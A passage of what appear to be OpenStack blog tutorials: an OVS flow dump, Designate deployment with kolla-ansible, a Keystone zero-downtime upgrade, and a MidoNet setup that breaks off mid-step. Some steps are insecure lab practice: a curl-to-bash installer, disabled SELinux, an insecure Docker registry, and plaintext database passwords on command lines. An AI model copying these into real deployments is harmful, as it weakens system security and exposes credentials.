cookie=0xf206a4cf831522bb, duration=3829.004s, table=0, n_packets=514, n_bytes=51389, idle_age=299, priority=1,in_port=1 actions=resubmit(,2) cookie=0xf206a4cf831522bb, duration=2049.122s, table=0, n_packets=111, n_bytes=13035, idle_age=299, priority=1,in_port=4 actions=resubmit(,4) cookie=0xf206a4cf831522bb, duration=2049.077s, table=0, n_packets=99, n_bytes=12561, idle_age=1976, priority=1,in_port=5 actions=resubmit(,4) cookie=0xf206a4cf831522bb, duration=3829.003s, table=0, n_packets=0, n_bytes=0, idle_age=3829, priority=0 actions=drop cookie=0xf206a4cf831522bb, duration=3829.001s, table=2, n_packets=14, n_bytes=588, idle_age=303, priority=1,arp,dl_dst=ff:ff:ff:ff:ff:ff actions=resubmit(,21) cookie=0xf206a4cf831522bb, duration=3828.999s, table=2, n_packets=444, n_bytes=44273, idle_age=299, priority=0,dl_dst=00:00:00:00:00:00/01:00:00:00:00:00 actions=resubmit(,20) cookie=0xf206a4cf831522bb, duration=3828.998s, table=2, n_packets=56, n_bytes=6528, idle_age=1971, priority=0,dl_dst=01:00:00:00:00:00/01:00:00:00:00:00 actions=resubmit(,22) cookie=0xf206a4cf831522bb, duration=3828.997s, table=3, n_packets=0, n_bytes=0, idle_age=3828, priority=0 actions=drop cookie=0xf206a4cf831522bb, duration=2051.673s, table=4, n_packets=210, n_bytes=25596, idle_age=299, priority=1,tun_id=0x35 actions=mod_vlan_vid:2,resubmit(,10) cookie=0xf206a4cf831522bb, duration=3828.996s, table=4, n_packets=0, n_bytes=0, idle_age=3828, priority=0 actions=drop cookie=0xf206a4cf831522bb, duration=3828.995s, table=6, n_packets=0, n_bytes=0, idle_age=3828, priority=0 actions=drop cookie=0xf206a4cf831522bb, duration=3828.994s, table=10, n_packets=322, n_bytes=39749, idle_age=299, priority=1 actions=learn(table=20,hard_timeout=300,priority=1,cookie=0xf206a4cf831522bb,NXM_OF_VLAN_TCI[0..11],NXM_OF_ETH_DST[]=NXM_OF_ETH_SRC[],load:0->NXM_OF_VLAN_TCI[],load:NXM_NX_TUN_ID[]->NXM_NX_TUN_ID[],output:OXM_OF_IN_PORT[]),output:1 cookie=0xf206a4cf831522bb, duration=2045.177s, table=20, n_packets=60, n_bytes=7135, idle_age=299, priority=2,dl_vlan=2,dl_dst=fa:16:3e:dd:b9:4d actions=strip_vlan,load:0x35->NXM_NX_TUN_ID[],output:4 cookie=0xf206a4cf831522bb, duration=2045.168s, table=20, n_packets=180, n_bytes=17440, idle_age=1976, priority=2,dl_vlan=2,dl_dst=fa:16:3e:71:84:df actions=strip_vlan,load:0x35->NXM_NX_TUN_ID[],output:5 cookie=0xf206a4cf831522bb, duration=2019.366s, table=20, n_packets=20, n_bytes=1892, idle_age=303, priority=2,dl_vlan=2,dl_dst=fa:16:3e:d7:6f:3b actions=strip_vlan,load:0x35->NXM_NX_TUN_ID[],output:4 cookie=0xf206a4cf831522bb, duration=304.629s, table=20, n_packets=0, n_bytes=0, hard_timeout=300, idle_age=304, hard_age=299, priority=1,vlan_tci=0x0002/0x0fff,dl_dst=fa:16:3e:dd:b9:4d actions=load:0->NXM_OF_VLAN_TCI[],load:0x35->NXM_NX_TUN_ID[],output:4 cookie=0xf206a4cf831522bb, duration=3828.992s, table=20, n_packets=0, n_bytes=0, idle_age=3828, priority=0 actions=resubmit(,22) cookie=0xf206a4cf831522bb, duration=2045.180s, table=21, n_packets=2, n_bytes=84, idle_age=1974, priority=1,arp,dl_vlan=2,arp_tpa=10.0.0.1 actions=load:0x2->NXM_OF_ARP_OP[],move:NXM_NX_ARP_SHA[]->NXM_NX_ARP_THA[],move:NXM_OF_ARP_SPA[]->NXM_OF_ARP_TPA[],load:0xfa163eddb94d->NXM_NX_ARP_SHA[],load:0xa000001->NXM_OF_ARP_SPA[],move:NXM_OF_ETH_SRC[]->NXM_OF_ETH_DST[],mod_dl_src:fa:16:3e:dd:b9:4d,IN_PORT cookie=0xf206a4cf831522bb, duration=2045.170s, table=21, n_packets=2, n_bytes=84, idle_age=1979, priority=1,arp,dl_vlan=2,arp_tpa=10.0.0.2 actions=load:0x2->NXM_OF_ARP_OP[],move:NXM_NX_ARP_SHA[]->NXM_NX_ARP_THA[],move:NXM_OF_ARP_SPA[]->NXM_OF_ARP_TPA[],load:0xfa163e7184df->NXM_NX_ARP_SHA[],load:0xa000002->NXM_OF_ARP_SPA[],move:NXM_OF_ETH_SRC[]->NXM_OF_ETH_DST[],mod_dl_src:fa:16:3e:71:84:df,IN_PORT cookie=0xf206a4cf831522bb, duration=2019.369s, table=21, n_packets=4, n_bytes=168, idle_age=303, priority=1,arp,dl_vlan=2,arp_tpa=10.0.0.3 actions=load:0x2->NXM_OF_ARP_OP[],move:NXM_NX_ARP_SHA[]->NXM_NX_ARP_THA[],move:NXM_OF_ARP_SPA[]->NXM_OF_ARP_TPA[],load:0xfa163ed76f3b->NXM_NX_ARP_SHA[],load:0xa000003->NXM_OF_ARP_SPA[],move:NXM_OF_ETH_SRC[]->NXM_OF_ETH_DST[],mod_dl_src:fa:16:3e:d7:6f:3b,IN_PORT cookie=0xf206a4cf831522bb, duration=3828.991s, table=21, n_packets=2, n_bytes=84, idle_age=303, priority=0 actions=resubmit(,22) cookie=0xf206a4cf831522bb, duration=2045.174s, table=22, n_packets=20, n_bytes=2512, idle_age=303, priority=1,dl_vlan=2 actions=strip_vlan,load:0x35->NXM_NX_TUN_ID[],output:4,output:5 cookie=0xf206a4cf831522bb, duration=3828.990s, table=22, n_packets=20, n_bytes=1672, idle_age=1994, priority=0 actions=drop ``` Once Tacker and SFC is verified, all resources can be deleted. ``` $ sh cleanup-tacker Deleting VNFFG All specified vnffg(s) deleted successfully Deleting VNFFGD All specified vnffgd(s) deleted successfully Deleting sample sfc instances Deleting sample VNF All specified vnf(s) delete initiated successfully Deleting sample VNFD All specified vnfd(s) deleted successfully Deleting sample VIM All specified vim(s) deleted successfully Removing sample config ``` In following posts will show how to tacker templates works and an in deep sfc traffic flows analysis. Regards, Eduardo Gonzalez # Deploy OpenStack designate with kolla-ansible During Ocata release, OpenStack DNS-as-a-Service (Designate) support was implemented in OpenStack kolla project. This post will guide you through a basic deployment and tests of designate service. Install required dependencies and tools for kolla-ansible and designate. ``` # yum install -y epel-release # yum install -y python-pip python-devel libffi-devel gcc openssl-devel ansible ntp wget bind-utils # pip install -U pip ``` Install Docker and downgrade to 1.12.6. At the time of writing this post libvirt had issues to connect with D-Bus due SElinux issues with Docker 1.13. ``` # curl -sSL https://get.docker.io | bash # yum downgrade docker-engine-1.12.6 docker-engine-selinux-1.12.6 # yum install -y python-docker-py ``` Configure Docker daemon to allow insecure-registry (Use the IP where your remote registry will be located). ``` # mkdir -p /etc/systemd/system/docker.service.d # tee /etc/systemd/system/docker.service.d/kolla.conf <<-'EOF' [Service] ExecStart= ExecStart=/usr/bin/dockerd --insecure-registry 172.28.128.3:4000 MountFlags=shared EOF ``` Reload systemd daemons and start/stop/disable/enable the following services. ``` # systemctl daemon-reload # systemctl stop libvirtd # systemctl disable libvirtd # systemctl enable ntpd docker # systemctl start ntpd docker ``` Download Ocata registry created in tarballs.openstack.org, skip this step if images used are custom builds or downloaded from DockerHub. Create kolla registry from downloaded tarball. ``` # wget https://tarballs.openstack.org/kolla/images/centos-binary-registry-ocata.tar.gz # mkdir /opt/kolla_registry # sudo tar xzf centos-binary-registry-ocata.tar.gz -C /opt/kolla_registry # docker run -d -p 4000:5000 --restart=always -v /opt/kolla_registry/:/var/lib/registry --name registry registry:2 ``` Install kolla-ansible. ``` # pip install kolla-ansible # cp -r /usr/share/kolla-ansible/etc_examples/kolla /etc/kolla/ # cp /usr/share/kolla-ansible/ansible/inventory/* . ``` Configure kolla globals.yml configuration file with the following content. Change values when necessary (IP addresses, interface names). This is a sample minimal configuration. ``` # vi /etc/kolla/globals.yml --- kolla_internal_vip_address: "172.28.128.10" kolla_base_distro: "centos" kolla_install_type: "binary" docker_registry: "172.28.128.3:4000" docker_namespace: "lokolla" network_interface: "enp0s8" neutron_external_interface: "enp0s9" ``` Configure designate options in globals.yml. dns\_interface must be network reachable from nova instances if internal DNS resolution is needed. ``` enable_designate: "yes" dns_interface: "enp0s8" designate_backend: "bind9" designate_ns_record: "sample.openstack.org" ``` Configure inventory, add the nodes in their respective groups. ``` # vi ~/multinode ``` Generate passwords. ``` # kolla-genpwd ``` Ensure the environment is ready to deploy with prechecks. Until prechecks does not succeed do not start deployment. Fix what is necessary. ``` # kolla-ansible prechecks -i ~/multinode ``` Pull Docker images on the servers, this can be skipped because will be made in deploy step, but doing it first will ensure all the nodes have the images you need and will minimize the deployment time. ``` # kolla-ansible pull -i ~/multinode ``` Deploy kolla-ansible and do a woot for kolla ;) ``` # kolla-ansible deploy -i ~/multinode ``` Create credentials file and source it. ``` # kolla-ansible post-deploy -i ~/multinode # source /etc/kolla/admin-openrc.sh ``` Check that all containers are running and none of them are restarting or exiting. ``` # docker ps -a --filter status=exited --filter status=restarting CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ``` Install required python clients ``` # pip install python-openstackclient python-designateclient python-neutronclient ``` Execute a base OpenStack configuration (public and internal networks, cirros image). Do no execute this script if custom networks are going to be used. ``` # sh /usr/share/kolla-ansible/init-runonce ``` Create a sample designate zone. ``` # openstack zone create --email admin@sample.openstack.org sample.openstack.org. +----------------+--------------------------------------+ | Field | Value | +----------------+--------------------------------------+ | action | CREATE | | attributes | | | created_at | 2017-02-22T13:14:39.000000 | | description | None | | email | admin@sample.openstack.org | | id | 4a44b0c9-bd07-4f5c-8908-523f453f269d | | masters | | | name | sample.openstack.org. | | pool_id | 85d18aec-453e-45ae-9eb3-748841a1da12 | | project_id | 937d49af6cfe4ef080a79f9a833d7c7d | | serial | 1487769279 | | status | PENDING | | transferred_at | None | | ttl | 3600 | | type | PRIMARY | | updated_at | None | | version | 1 | +----------------+--------------------------------------+ ``` Configure designate sink to make use of the previously created zone, sink will need zone\_id to automatically create neutron and nova records into designate. ``` # mkdir -p /etc/kolla/config/designate/designate-sink/ # vi /etc/kolla/config/designate/designate-sink.conf [handler:nova_fixed] zone_id = 4a44b0c9-bd07-4f5c-8908-523f453f269d [handler:neutron_floatingip] zone_id = 4a44b0c9-bd07-4f5c-8908-523f453f269d ``` After configure designate-sink.conf, reconfigure designate to make use of this configuration. ``` # kolla-ansible reconfigure -i ~/multinode --tags designate ``` List networks. ``` # neutron net-list +--------------------------------------+----------+----------------------------------+--------------------------------------------------+ | id | name | tenant_id | subnets | +--------------------------------------+----------+----------------------------------+--------------------------------------------------+ | 3b56c605-5a01-45be-9ed6-e4c3285e4366 | demo-net | 937d49af6cfe4ef080a79f9a833d7c7d | 7f28f050-77b2-426e-b963-35b682077993 10.0.0.0/24 | | 6954d495-fb8c-4b0b-98a9-9672a7f65b7c | public1 | 937d49af6cfe4ef080a79f9a833d7c7d | 9bd9feca-40a7-4e82-b912-e51b726ad746 10.0.2.0/24 | +--------------------------------------+----------+----------------------------------+--------------------------------------------------+ ``` Update the network with a dns\_domain. ``` # neutron net-update 3b56c605-5a01-45be-9ed6-e4c3285e4366 --dns_domain sample.openstack.org. Updated network: 3b56c605-5a01-45be-9ed6-e4c3285e4366 ``` Ensure dns\_domain is properly applied. ``` # neutron net-show 3b56c605-5a01-45be-9ed6-e4c3285e4366 +---------------------------+--------------------------------------+ | Field | Value | +---------------------------+--------------------------------------+ | admin_state_up | True | | availability_zone_hints | | | availability_zones | nova | | created_at | 2017-02-22T13:13:06Z | | description | | | dns_domain | sample.openstack.org. | | id | 3b56c605-5a01-45be-9ed6-e4c3285e4366 | | ipv4_address_scope | | | ipv6_address_scope | | | mtu | 1450 | | name | demo-net | | port_security_enabled | True | | project_id | 937d49af6cfe4ef080a79f9a833d7c7d | | provider:network_type | vxlan | | provider:physical_network | | | provider:segmentation_id | 27 | | revision_number | 6 | | router:external | False | | shared | False | | status | ACTIVE | | subnets | 7f28f050-77b2-426e-b963-35b682077993 | | tags | | | tenant_id | 937d49af6cfe4ef080a79f9a833d7c7d | | updated_at | 2017-02-22T13:25:16Z | +---------------------------+--------------------------------------+ ``` Create a new instance in the previously updated network. ``` # openstack server create \ --image cirros \ --flavor m1.tiny \ --key-name mykey \ --nic net-id=3b56c605-5a01-45be-9ed6-e4c3285e4366 \ demo1 ``` Once the instance is ACTIVE, check the IP associated. ``` # openstack server list +--------------------------------------+-------+--------+-------------------+------------+ | ID | Name | Status | Networks | Image Name | +--------------------------------------+-------+--------+-------------------+------------+ | d483e4ee-58c2-4e1e-9384-85174630428e | demo1 | ACTIVE | demo-net=10.0.0.3 | cirros | +--------------------------------------+-------+--------+-------------------+------------+ ``` List records in the designate zone. As you can see there is a record in designate associated with the instance IP. ``` # openstack recordset list sample.openstack.org. +--------------------------------------+----------------------------------+------+-------------------------------------------+--------+--------+ | id | name | type | records | status | action | +--------------------------------------+----------------------------------+------+-------------------------------------------+--------+--------+ | 4f70531e-c325-4ffd-a8d3-8172bd5163b8 | sample.openstack.org. | SOA | sample.openstack.org. | ACTIVE | NONE | | | | | admin.sample.openstack.org. 1487770304 | | | | | | | 3586 600 86400 3600 | | | | a9a09c5f-ccf1-4b52-8400-f36e8faa9549 | sample.openstack.org. | NS | sample.openstack.org. | ACTIVE | NONE | | aa6cd25d-186e-425b-9153-699d8b0811de | 10-0-0-3.sample.openstack.org. | A | 10.0.0.3 | ACTIVE | NONE | | 713650a5-a45e-470b-9539-74e110b15115 | demo1.None.sample.openstack.org. | A | 10.0.0.3 | ACTIVE | NONE | | 6506e6f6-f535-45eb-9bfb-4ac1f16c5c9b | demo1.sample.openstack.org. | A | 10.0.0.3 | ACTIVE | NONE | +--------------------------------------+----------------------------------+------+-------------------------------------------+--------+--------+ ``` Validate that designate resolves the DNS record. You can use designate mDNS service or directly to bind9 servers to validate the test. ``` # dig +short -p 5354 @172.28.128.3 demo1.sample.openstack.org. A 10.0.0.3 # dig +short -p 53 @172.28.128.3 demo1.sample.openstack.org. A 10.0.0.3 ``` If you find any issue with designate in kolla-ansible or kolla, please fill a bug Regards, Eduardo Gonzalez # OpenStack keystone zero downtime upgrade process newton to ocata This blog post will show Keystone upgrade procedure from OpenStack Newton to Ocata release with zero-downtime. In the case of doing this in production, please read release notes, ensure a proper configuration, do database backups and test the upgrade a thousand times. Keystone upgrade will need to stop one node in order to use it as upgrade server. | In the case of a PoC this is not an issue, but in a production environment, Keystone loads may be intensive and stopping a node for a while may decrease other nodes performance more than expected. | For this reason I prefer orchestrate the upgrade from an external Docker container. With this method all nodes will be fully running almost all the time. * New container won\\'t start any service, just will sync the database schema with new Keystone version avoiding stop a node to orchestrate the upgrade. * The Docker image is provided by OpenStack Kolla project, if already using Kolla this upgrade won\\'t be needed as kolla-ansible already provide an upgrade method. * At the moment of writing of this blog, Ocata packages were not released into stable repositories. For this reason I use DLRN repositories. * If Ocata is released please do not use DLRN, use stable packages instead. * Use stable Ocata Docker image if available with tag 4.0.x and will avoid repository configuration and package upgrades. * NOTE: Upgrade may need more steps depending of your own configuration, i.e, if using fernet token more steps are necessary during the upgrade. * All Keystone nodes are behind HAproxy. ### Prepare the upgrade Start Keystone Docker container with host networking (needed to communicate with database nodes directly) and root user (needed to install packages). ``` (host)# docker run -ti --net host -u 0 kolla/centos-binary-keystone:3.0.2 bash ``` Download Delorean CentOS trunk repositories ``` (keystone-upgrade)# curl -Lo /etc/yum.repos.d/delorean.repo http://buildlogs.centos.org/centos/7/cloud/x86_64/rdo-trunk-master-tested/delorean.repo (keystone-upgrade)# curl -Lo /etc/yum.repos.d/delorean-deps.repo http://trunk.rdoproject.org/centos7/delorean-deps.repo ``` Disable Newton repository ``` (keystone-upgrade)# yum-config-manager --disable centos-openstack-newton ``` Ensure Newton repository is not longer used by the system ``` (keystone-upgrade)# yum repolist | grep -i openstack delorean delorean-openstack-glance-0bf9d805886c2 565+255 ``` Update all packages in the Docker container to bump keystone version to Ocata. ``` (keystone-upgrade)# yum clean all && yum update -y ``` Configure keystone.conf file, this are my settings. Review you configuration and ensure all is correctly, otherwise may cause issues in the database. | An important option is default\_domain\_id, this value is for backward compatible with users created under default domain. ``` (keystone-upgrade)# egrep ^[^#] /etc/keystone/keystone.conf [DEFAULT] debug = False log_file = /var/log/keystone/keystone.log secure_proxy_ssl_header = HTTP_X_FORWARDED_PROTO [database] connection = mysql+pymysql://keystone:ickvaHC9opkwbz8z8sy28aLiFNezc7Z6Fm34frcB@192.168.100.10:3306/keystone max_retries = -1 [cache] backend = oslo_cache.memcache_pool enabled = True memcache_servers = 192.168.100.215:11211,192.168.100.170:11211 [identity] default_domain_id = default [token] provider = uuid ``` Check migrate version in the database. | As you will notice, contract/data\_migrate/expand are in the same version ``` (mariadb)# mysql -ukeystone -pickvaHC9opkwbz8z8sy28aLiFNezc7Z6Fm34frcB -h192.168.100.10 keystone -e "select * from migrate_version;" Warning: Using a password on the command line interface can be insecure. +-----------------------+--------------------------------------------------------------------------+---------+ | repository_id | repository_path | version | +-----------------------+--------------------------------------------------------------------------+---------+ | keystone | /usr/lib/python2.7/site-packages/keystone/common/sql/migrate_repo | 109 | | keystone_contract | /usr/lib/python2.7/site-packages/keystone/common/sql/contract_repo | 4 | | keystone_data_migrate | /usr/lib/python2.7/site-packages/keystone/common/sql/data_migration_repo | 4 | | keystone_expand | /usr/lib/python2.7/site-packages/keystone/common/sql/expand_repo | 4 | +-----------------------+--------------------------------------------------------------------------+---------+ ``` Before start upgrading the database schema, you will need add SUPER privileges in the database to keystone user or set log\_bin\_trust\_function\_creators to True. | In my opinion is safer set the value to True, I don\\'t want keystone with SUPER privileges. ``` (mariadb)# mysql -uroot -pnkLMrBibfMTRqOGBAP3UAxdO4kOFfEaPptGM5UDL -h192.168.100.10 keystone -e "set global log_bin_trust_function_creators=1;" ``` Now use Rally, tempest or some tool to test/benchmarch keystone service during upgrade. | If don\\'t want to use one of those tools, just use this for command. ``` (host)# for i in {1000..6000} ; do openstack user create --password $i $i; done ``` ### Start Upgrade Check database status before upgrade using Doctor, this may raise issues in the configuration. Some of them may be ignored(Please, ensure is not an issue before ignoring). As example, I'm not using fernet tokens and errors appear about missing folder. ``` (keystone-upgrade)# keystone-manage doctor ``` Remove obsoleted tokens ``` (keystone-upgrade)# keystone-manage token_flush ``` Now, expand the database schema to latest version, in keystone.log can see the status. Check in the logs if some error is raised before jump to the next step. ``` (keystone-upgrade)# keystone-manage db_sync --expand 2017-01-31 13:42:02.772 306 INFO migrate.versioning.api [-] 4 -> 5... 2017-01-31 13:42:03.004 306 INFO migrate.versioning.api [-] done 2017-01-31 13:42:03.005 306 INFO migrate.versioning.api [-] 5 -> 6... 2017-01-31 13:42:03.310 306 INFO migrate.versioning.api [-] done 2017-01-31 13:42:03.310 306 INFO migrate.versioning.api [-] 6 -> 7... 2017-01-31 13:42:03.670 306 INFO migrate.versioning.api [-] done 2017-01-31 13:42:03.671 306 INFO migrate.versioning.api [-] 7 -> 8... 2017-01-31 13:42:03.984 306 INFO migrate.versioning.api [-] done 2017-01-31 13:42:03.985 306 INFO migrate.versioning.api [-] 8 -> 9... 2017-01-31 13:42:04.185 306 INFO migrate.versioning.api [-] done 2017-01-31 13:42:04.185 306 INFO migrate.versioning.api [-] 9 -> 10... 2017-01-31 13:42:07.202 306 INFO migrate.versioning.api [-] done 2017-01-31 13:42:07.202 306 INFO migrate.versioning.api [-] 10 -> 11... 2017-01-31 13:42:07.481 306 INFO migrate.versioning.api [-] done 2017-01-31 13:42:07.481 306 INFO migrate.versioning.api [-] 11 -> 12... 2017-01-31 13:42:11.334 306 INFO migrate.versioning.api [-] done 2017-01-31 13:42:11.334 306 INFO migrate.versioning.api [-] 12 -> 13... 2017-01-31 13:42:11.560 306 INFO migrate.versioning.api [-] done ``` After expand the database, migrate it to latest version. Ensure there are not errors in Keystone logs. ``` (keystone-upgrade)# keystone-manage db_sync --migrate #keystone.log 2017-01-31 13:42:58.771 314 INFO migrate.versioning.api [-] 4 -> 5... 2017-01-31 13:42:58.943 314 INFO migrate.versioning.api [-] done 2017-01-31 13:42:58.943 314 INFO migrate.versioning.api [-] 5 -> 6... 2017-01-31 13:42:59.143 314 INFO migrate.versioning.api [-] done 2017-01-31 13:42:59.143 314 INFO migrate.versioning.api [-] 6 -> 7... 2017-01-31 13:42:59.340 314 INFO migrate.versioning.api [-] done 2017-01-31 13:42:59.341 314 INFO migrate.versioning.api [-] 7 -> 8... 2017-01-31 13:42:59.698 314 INFO migrate.versioning.api [-] done 2017-01-31 13:42:59.699 314 INFO migrate.versioning.api [-] 8 -> 9... 2017-01-31 13:42:59.852 314 INFO migrate.versioning.api [-] done 2017-01-31 13:42:59.852 314 INFO migrate.versioning.api [-] 9 -> 10... 2017-01-31 13:43:00.135 314 INFO migrate.versioning.api [-] done 2017-01-31 13:43:00.135 314 INFO migrate.versioning.api [-] 10 -> 11... 2017-01-31 13:43:00.545 314 INFO migrate.versioning.api [-] done 2017-01-31 13:43:00.545 314 INFO migrate.versioning.api [-] 11 -> 12... 2017-01-31 13:43:00.703 314 INFO migrate.versioning.api [-] done 2017-01-31 13:43:00.703 314 INFO migrate.versioning.api [-] 12 -> 13... 2017-01-31 13:43:00.854 314 INFO migrate.versioning.api [-] done ``` Now, see migrate\_version table, you will notice that expand and data\_migrate are in the latest version, but contract still in the previous version. ``` (mariadb)# mysql -ukeystone -pickvaHC9opkwbz8z8sy28aLiFNezc7Z6Fm34frcB -h192.168.100.10 keystone -e "select * from migrate_version;" +-----------------------+--------------------------------------------------------------------------+---------+ | repository_id | repository_path | version | +-----------------------+--------------------------------------------------------------------------+---------+ | keystone | /usr/lib/python2.7/site-packages/keystone/common/sql/migrate_repo | 109 | | keystone_contract | /usr/lib/python2.7/site-packages/keystone/common/sql/contract_repo | 4 | | keystone_data_migrate | /usr/lib/python2.7/site-packages/keystone/common/sql/data_migration_repo | 13 | | keystone_expand | /usr/lib/python2.7/site-packages/keystone/common/sql/expand_repo | 13 | +-----------------------+--------------------------------------------------------------------------+---------+ ``` ### Every Keystone node, one by one Go to keystone nodes. Stop Keystone services, in my case using wsgi inside Apache ``` (keystone_nodes)# systemctl stop httpd ``` Configure Ocata repositories as made in the Docker container. Update packages, if you have Keystone sharing the node with other OpenStack service, do not update all packages as it will break other services. Update only required packages. ``` (keystone_nodes)# yum clean all && yum update -y ``` Configure Keystone configuration file to the desired state. Your configuration may change. ``` (keystone_nodes)# egrep ^[^#] /etc/keystone/keystone.conf [DEFAULT] debug = False log_file = /var/log/keystone/keystone.log secure_proxy_ssl_header = HTTP_X_FORWARDED_PROTO [database] connection = mysql+pymysql://keystone:ickvaHC9opkwbz8z8sy28aLiFNezc7Z6Fm34frcB@192.168.100.10:3306/keystone max_retries = -1 [cache] backend = oslo_cache.memcache_pool enabled = True memcache_servers = 192.168.100.215:11211,192.168.100.170:11211 [identity] default_domain_id = default [token] provider = uuid ``` Start Keystone service. ``` (keystone_nodes)# systemctl start httpd ``` ### Finish Upgrade After all the nodes are updated to latest version (please ensure all nodes are using latest packages, if not will fail). Contract Keystone database schema. Look at keystone.log for errors. ``` (keystone-upgrade)# keystone-manage db_sync --contract keystone.log 2017-01-31 13:57:52.164 322 INFO migrate.versioning.api [-] 4 -> 5... 2017-01-31 13:57:52.379 322 INFO migrate.versioning.api [-] done 2017-01-31 13:57:52.379 322 INFO migrate.versioning.api [-] 5 -> 6... 2017-01-31 13:57:52.969 322 INFO migrate.versioning.api [-] done 2017-01-31 13:57:52.969 322 INFO migrate.versioning.api [-] 6 -> 7... 2017-01-31 13:57:53.462 322 INFO migrate.versioning.api [-] done 2017-01-31 13:57:53.462 322 INFO migrate.versioning.api [-] 7 -> 8... 2017-01-31 13:57:53.793 322 INFO migrate.versioning.api [-] done 2017-01-31 13:57:53.793 322 INFO migrate.versioning.api [-] 8 -> 9... 2017-01-31 13:57:53.957 322 INFO migrate.versioning.api [-] done 2017-01-31 13:57:53.957 322 INFO migrate.versioning.api [-] 9 -> 10... 2017-01-31 13:57:54.111 322 INFO migrate.versioning.api [-] done 2017-01-31 13:57:54.112 322 INFO migrate.versioning.api [-] 10 -> 11... 2017-01-31 13:57:54.853 322 INFO migrate.versioning.api [-] done 2017-01-31 13:57:54.853 322 INFO migrate.versioning.api [-] 11 -> 12... 2017-01-31 13:57:56.727 322 INFO migrate.versioning.api [-] done 2017-01-31 13:57:56.728 322 INFO migrate.versioning.api [-] 12 -> 13... 2017-01-31 13:57:59.529 322 INFO migrate.versioning.api [-] done ``` Now if we look at migrate\_version table, will see that contract version is latest and match with the other version (Ensure all are in the same version). This means the database upgrade has been successfully implemented. ``` (mariadb)# mysql -ukeystone -pickvaHC9opkwbz8z8sy28aLiFNezc7Z6Fm34frcB -h192.168.100.10 keystone -e "select * from migrate_version;" +-----------------------+--------------------------------------------------------------------------+---------+ | repository_id | repository_path | version | +-----------------------+--------------------------------------------------------------------------+---------+ | keystone | /usr/lib/python2.7/site-packages/keystone/common/sql/migrate_repo | 109 | | keystone_contract | /usr/lib/python2.7/site-packages/keystone/common/sql/contract_repo | 13 | | keystone_data_migrate | /usr/lib/python2.7/site-packages/keystone/common/sql/data_migration_repo | 13 | | keystone_expand | /usr/lib/python2.7/site-packages/keystone/common/sql/expand_repo | 13 | +-----------------------+--------------------------------------------------------------------------+---------+ ``` Remove log\_bin\_trust\_function\_creators value. ``` (mariadb)# mysql -uroot -pnkLMrBibfMTRqOGBAP3UAxdO4kOFfEaPptGM5UDL -h192.168.100.10 keystone -e "set global log_bin_trust_function_creators=0;" ``` After finish the upgrade, Rally tests should not have any error. \*\*If using HAproxy for load balance Keystone service, some errors may happen due a connection drop while stopping Keystone service and re-balance to other Keystone node. This can be avoided putting the node to update in Maintenance Mode in HAproxy backend. Have to thank Keystone team in #openstack-keystone IRC channel for the help provided with a couple of issues. Regards, Eduardo Gonzalez # Midonet integration with OpenStack Mitaka MidoNet is an Open Source network virtualization software for IaaS infrastructure. | It decouples your IaaS cloud from your network hardware, creating an intelligent software abstraction layer between your end hosts and your physical network. | This network abstraction layer allows the cloud operator to move what has traditionally been hardware-based network appliances into a software-based multi-tenant virtual domain. This definition from MidoNet documentation explains what MidoNet is and what MidoNet does. At this I will post cover my experiences integrating MidoNet with OpenStack. | I used the following configurations: All servers have CentOS 7.2 installed OpenStack has been previously installed from RDO packages with multinode Packstack * x3 NSDB nodes (Casandra and Zookeeper services) * x2 Gateway Nodes (Midolman Agent) * x1 OpenStack Controller (MidoNet Cluster) * x1 OpenStack compute node (Midolman Agent) **NSDB NODES** Disable SElinux ``` setenforce 0 sed -i 's/SELINUX=enforcing/SELINUX=permissive/g' /etc/sysconfig/selinux ``` Install OpenStack Mitaka release repository ``` sudo yum install -y centos-release-openstack-mitaka ``` Add Cassandra repository ``` cat </etc/yum.repos.d/datastax.repo [datastax] name = DataStax Repo for Apache Cassandra baseurl = http://rpm.datastax.com/community enabled = 1 gpgcheck = 1 gpgkey = https://rpm.datastax.com/rpm/repo_key EOF ``` Add Midonet repository ``` cat </etc/yum.repos.d/midonet.repo [midonet] name=MidoNet baseurl=http://builds.midonet.org/midonet-5.2/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key [midonet-openstack-integration] name=MidoNet OpenStack Integration baseurl=http://builds.midonet.org/openstack-mitaka/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key [midonet-misc] name=MidoNet 3rd Party Tools and Libraries baseurl=http://builds.midonet.org/misc/stable/el7/ enabled=1 gpgcheck=1 gpgkey=https://builds.midonet.org/midorepo.key EOF ``` Clean repo cache and update packages ``` yum clean all yum update ``` \| **Zookeeper Configuration** | Install Zookeeper, java and dependencies ``` yum install -y java-1.7.0-openjdk-headless zookeeper zkdump nmap-ncat ``` Edit zookeeper configuration file ``` vi /etc/zookeeper/zoo.cfg ``` Add all NSDB nodes at the configuration file ``` server.1=nsdb1:2888:3888 server.2=nsdb2:2888:3888 server.3=nsdb3:2888:3888 autopurge.snapRetainCount=10 autopurge.purgeInterval =12 ``` Create zookeeper folder on which zookeeper will store data, change the owner to zookeeper user ``` mkdir /var/lib/zookeeper/data chown zookeeper:zookeeper /var/lib/zookeeper/data ``` Create myid file at zookeeper data folder, the ID should match with the NSDB node number, insert that number as follows: ``` #NSDB1 echo 1 > /var/lib/zookeeper/data/myid #NSDB2 echo 2 > /var/lib/zookeeper/data/myid #NSDB3 echo 3 > /var/lib/zookeeper/data/myid ``` Create java folder and create a softlink to it ``` mkdir -p /usr/java/default/bin/ ln -s /usr/lib/jvm/jre-1.7.0-openjdk/bin/java /usr/java/default/bin/java ``` Start and enable Zookeeper service ``` systemctl enable zookeeper.service systemctl start zookeeper.service ``` Test if zookeeper is working locally ``` echo ruok | nc 127.0.0.1 2181 imok ``` Test if zookeeper is working at NSDB remote nodes ``` echo stat | nc nsdb3 2181 Zookeeper version: 3.4.5--1, built on 02/08/2013 12:25 GMT Clients: /192.168.100.172:35306[0](queued=0,recved=1,sent=0) Latency min/avg/max: 0/0/0 Received: 1 Sent: 0 Connections: 1 Outstanding: 0 Zxid: 0x100000000 Mode: follower Node count: 4 ``` \| **Cassandra configuration** | Install Java and Cassandra dependencies ``` yum install -y java-1.8.0-openjdk-headless dsc22 ``` Edit cassandra yaml file ``` vi /etc/cassandra/conf/cassandra.yaml ``` \| Change cluster\_name to midonet | Configure seed\_provider seeds to match all NSDB nodes | Configure listen\_address and rpc\_address to match the hostname of the self node ``` cluster_name: 'midonet' .... seed_provider: - class_name: org.apache.cassandra.locator.SimpleSeedProvider parameters: - seeds: "nsdb1,nsdb2,nsdb3" listen_address: nsdb1 rpc_address: nsdb1 ``` Edit 